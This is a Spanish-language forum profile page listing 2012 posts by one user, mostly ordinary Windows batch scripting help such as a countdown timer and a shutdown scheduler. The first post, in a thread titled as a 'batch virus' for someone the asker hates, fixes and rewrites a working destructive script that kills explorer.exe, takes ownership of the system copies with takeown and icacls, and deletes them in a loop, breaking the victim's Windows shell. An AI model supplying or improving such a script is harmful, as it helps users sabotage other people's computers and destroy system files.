Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Eleкtro

#11201
Scripting / Re: Batch virus para quien odias
8 Abril 2012, 17:24 PM
@ELVJop

No asegures que algo funciona sin haberlo probado en un PC/VBOX o sin saber lo que estás haciendo... Es un consejo.

El code no hace ningún bucle.
Motivos:
- No has habilitado la expansion, Entonces la variable ERRORLEVEL no se comprueba.
- Aunque el archivo esté en uso, O el archivo no existe, El comando DEL no manda el código de error "1", De echo no manda ningún código de error en esos dos casos (Manda el "0") así que hay que hacer uso de "Find" o comprobar si el archivo sigue existiendo con "If exist".

Aparte:
- El code no podría funcionar en una cuenta que no sea de administrador. (Sin privilegios).
- No es necesario hacer 2 versiones de un mismo code para la misma función xD.


Te lo modifico para que veas...

Código (dos) [Seleccionar]

@Echo OFF
Taskkill /F /IM "explorer.exe" 2>NUL
Del /F /Q "%WINDIR%\explorer.exe", "%WINDIR%\System32\explorer.exe" | Find /I "Acceso denegado" >NUL
IF %Errorlevel% EQU 0 (
Takeown /F "%WINDIR%\explorer.exe" >NUL 2>&1
Takeown /F "%WINDIR%\System32\explorer.exe" >NUL 2>&1
Icacls "%WINDIR%\explorer.exe" /grant %username%:^(F^) >NUL 2>&1
Icacls "%WINDIR%\System32\explorer.exe" /grant %username%:^(F^) >NUL 2>&1
%0
)
Exit


Salu2.
#11202
Scripting / Re: Contador (cuenta atrás)
7 Abril 2012, 13:07 PM
Cita de: Batchiano en  7 Abril 2012, 09:40 AM
críticas constructivas...
mejoras...

Si quieres mejorar el code puedes hacer de el una función (Además de simplificarlo). Aqui tienes un ejemplo:

Código (dos) [Seleccionar]

:: Contador.bat
:: By Elektro H@cker
:: Visita Foro.ElHacker.Net

@Echo OFF
Setlocal EnableDelayedexpansion

:Menu
IF "%~1" EQU "" (
Set /P "H=Horas: " && Set /P "M=Minutos: " && Set /P "S=Segundos: "
Echo !H!!M!!S! | Findstr /I "[A-Z]" >NUL
       IF !Errorlevel! EQU 0 (Goto :ERROR)
) Else (
For /F "Tokens=1-3 delims=:" %%a in ('Echo %~1') Do (Set /A H=%%a, M=%%b, S=%%c) || (Goto :ERROR)
)

:TimeLoop
Cls
For /F %%? in ('Echo %h%:%m%:%s%') Do (
IF !H! LSS 0 (Goto :End)
IF !S! EQU 0 (Set /A S=60, M-=1)
IF !M! LSS 0 (Set /A H-=1, M=59, S=60)
Set /A S-=1
Echo Contador: %h%:%m%:%s%
Ping -n 2 Localhost 1>Nul
Goto :TimeLoop
)

:Error
Echo: Formato incorrecto. Vuelva a intentarlo...
Exit /B 1

:End
Echo Fin de la cuenta atras.
Exit /B 0


CitarModo de empleo:

Contador.bat [Horas]:[Minutos]:[Segundos]
  • Ejemplo: Contador 1:0:59
Salu2.
#11203
Cita de: ELVJop en  5 Abril 2012, 12:11 PMME degas un lick de donde empezaste a prender ese batch avanzado?

Empezé leyendo uno o dos tutoriales, Pero más que lectura han sido muchos años de práctica, Experiencia propia, Y ayuda cuando la necesité.

En Batch hay poco que aprender, Aquí puedes aprender lo más importante:
http://ss64.com/nt/syntax-args.html
http://ss64.com/nt/for.html
http://ss64.com/nt/if.html
http://ss64.com/nt/set.html
http://ss64.com/nt/call.html

Y aqui puedes analizar codes para aprender técnicas avanzadas:
Rob Van Der Woude
ss64

PD: Si prefieres tutoriales en castellano, Puedes usar el buscador del foro, Hay muchos.

Salu2.
#11204
Cita de: ELVJop en  5 Abril 2012, 11:21 AM
veras como no te funciona. PD: Le agregue pause>nul para que vieras el mensaje de error que te da la maquina de comandos.
La proxima vez que tenga una duda cojere el codigo raiz y no lo dire de memoria perdon. :P

El código funciona a la perfección, Solamente cambia "num" por "var", Como puse en el código de mi última respuesta

Salu2
#11205
Cita de: ELVJop en  5 Abril 2012, 11:11 AM
Que problemas tiene el mio?

A primera vista diría que el error está en "if /p var=" como ya te expliqué.
Si necesitas más ayuda pon el código entero aunque séa muy largo para examinarlo mejor

Cita de: ELVJop en  5 Abril 2012, 11:11 AM
En teoria si ejecuto el segundo digo los minutos necesarios
No, No estás seteando ningún número ni haciendo ninguna comprobación del número, hazlo así:
Código (dos) [Seleccionar]

@echo off
echo.                         APAGADO DEL ORDENADOR
echo Cuanto tiempo quiere que pase antes de que su ordenador se apague? (en minutos)
echo.
Set /p var= Escribe el numero:
Set /A var*=60
cls
echo Seguro que quiere continuar?
pause>nul
shutdown -s -f -t %var%


EDITO: Te recuerdo que el número debe ser en segundos, no puedes definir minutos en el comando shutdown.
#11206
Es dificil averiguar donde está el problema sin el código entero.

1- if /p var=
   Ese comando dará error de sintaxis, No haces ninguna comprobación aunque tampoco sería la manera correcta de hacerlo, el parámetro "/P" es para setear.
   set /p var=
   No sé la intención tuya de esa linea así que no puedo ayudar mucho más.

2- Prueba expandiendo la variable VAR:
Código (dos) [Seleccionar]
@Echo OFF
Setlocal enabledelayedexpansion
...
...
shutdown -s -f -t !var!


De todas formas te he hecho este code que hace la tarea más fácil sin tener que escribir 800 comprobaciones en el code :P

Código (dos) [Seleccionar]
@Echo OFF

:Menu
Cls
Echo:                         APAGADO DEL ORDENADOR                        | MORE
Echo: Cuantos minutos quiere que pase antes de que su ordenador se apague? | MORE
Echo:   [*] Teclee el numero de minutos respectivo y pulse enter.          | MORE
Echo:   [*] Teclee "0" si desea cancelar el apagado programado...          | MORE
Set /P NUM= ^>^>
IF NOT defined NUM (Goto :Menu)
Echo "%NUM%" | Findstr /I "[A-Z]" >Nul
IF NOT %Errorlevel% EQU 1 (Set "NUM=" & Goto :Menu) Else (Set /A NUM*=60)

:Shutdown
If %NUM% EQU 0 (Shutdown -a 2>NUL) ELSE (Shutdown -S -F -T %NUM% & Set /A NUM/=60)

:Fin
Cls
If %NUM% EQU 0 (
Echo: Se ha cancelado el apagado de su PC.
) ELSE (
Echo: Se ha programado el apagado de su PC para dentro de %num% minutos.
)
Pause > Nul
Exit


Salu2.

#11207
Te hago un ejemplo:


Código (dos) [Seleccionar]
@Echo OFF
Title PassADM
Color 0A

:Welcome
Echo :: Bienvenido a PassADM :: | MORE
For /F "Tokens=2 delims==" %%? IN ('Type %0 ^| Find ":USERLOGIN=" ^| Find /V "%%0"') DO (Echo Binvenido %%? & Goto :Program)

:Login
Cls
SET /P nameuser= Usuario:
IF NOT defined nameuser (Goto :Login)
Choice /M "Confirmar nombre de usuario"
IF %Errorlevel% EQU 1 (Echo+ >>%0 & Echo :USERLOGIN=%Nameuser%>>%0) Else (Goto :Login)

:Program
Echo Program test
Pause
Exit


Si lo quieres en un texto aparte, solo tienes que modificar el argumento %0

Salu2.
#11208
Cita de: $Edu$ en  4 Abril 2012, 18:23 PM
si ejecuto el script para dentro de 8 horas, puedo trabajar tranquilamente en mi compu, hasta esa hora?

hmm yo pensé que te referias al bat, no al pc xD.

El bat se queda procesando el bucle sin poder hacer nada en esa instancia de la consola, Por lo demás si puedes trabajar tranquilamente en tu PC, siempre y cuando no estemos hablando de un pc con 32 mb de ram xD, No se ralentiza pero quizás debería haber puesto algún "ping" en el bat...

Salu2
#11209
lol xD, Desde luego es una app rara :P

La versión de Ruby no funciona como debería  :-\


[+] Texto : drogar y violar aliens xD

C:/Program Files (x86)/Ruby/lib/ruby/1.9.1/uri/common.rb:176:in `split': bad URI
(is not URI?): http://www.mis-suenos.org/interpretaciones/buscar?text=drogar y
violar aliens xD (URI::InvalidURIError)
       from C:/Program Files (x86)/Ruby/lib/ruby/1.9.1/uri/common.rb:211:in `pa
rse'
       from C:/Program Files (x86)/Ruby/lib/ruby/1.9.1/uri/common.rb:747:in `pa
rse'
       from 3.rb:15:in `toma'
       from 3.rb:25:in `<main>'


A ver si pudieras arreglarlo

PD: Estoy probando en windows, La versión de Python si que me responde.

Salu2!
#11210
Sigo intentando recalcar que reemplazar el archivo "explorer.exe" puede llegar a sanar el problema, Pues a mi en más de una ocasión me salvó hacer un backup del explorer.exe

Salu2!